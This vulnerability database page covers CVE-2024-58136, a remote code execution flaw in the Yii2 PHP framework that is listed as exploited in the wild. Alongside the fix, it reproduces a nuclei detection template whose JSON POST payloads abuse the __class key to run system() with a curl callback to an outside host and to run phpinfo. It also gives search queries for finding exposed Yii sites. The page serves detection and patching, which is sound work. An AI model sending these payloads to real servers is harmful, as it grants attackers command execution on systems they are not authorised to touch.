HexBrain

Browse / CVEs / CVE-2024-58136

CVE-2024-58136· yiisoft / yii· CWE-94

Yii2 PHP Framework < 2.0.52 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2025-05-02; known to be used by ransomware.

criticalseverity
9.8CVSS score
87.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE.

Impact

Unauthenticated attackers can exploit improper validation of the __class key in JSON behaviors to instantiate arbitrary PHP classes and achieve remote code execution.

Fix

Update Yii2 PHP Framework to version 2.0.52 or later to address the remote code execution vulnerability.

How to confirm it

Send: GET /
Positive when: contains "Yii"
Send: POST /index.php
Positive when: contains in interactsh_protocol "http" OR contains "PHP Version" and "PHP Extension"

Run it with nuclei: nuclei -id CVE-2024-58136 -u <target>

The full check
id: CVE-2024-58136

info:
  name: Yii2 PHP Framework < 2.0.52 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE.
  impact: |
    Unauthenticated attackers can exploit improper validation of the __class key in JSON behaviors to instantiate arbitrary PHP classes and achieve remote code execution.
  remediation: |
    Update Yii2 PHP Framework to version 2.0.52 or later to address the remote code execution vulnerability.
  reference:
    - https://infosecwriteups.com/from-behaviors-to-shells-yii2-php-framework-rce-cve-2024-58136-exploit-and-mitigation-e47a60a3cecb
    - https://nvd.nist.gov/vuln/detail/CVE-2024-58136
  classification:
    epss-score: 0.87757
    epss-percentile: 0.99763
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-58136
    cwe-id: CWE-94
    cpe: cpe:2.3:a:yiisoft:yii:2.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: yiisoft
    product: yii
    fofa-query: title="Yii"
    shodan-query: title:"Yii"
  tags: cve,cve2024,yii2,rce,php,framework,kev,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        words:
          - "Yii"
        internal: true

  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream":"curl {{interactsh-url}}"}}

      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}

    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "PHP Version"
          - "PHP Extension"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from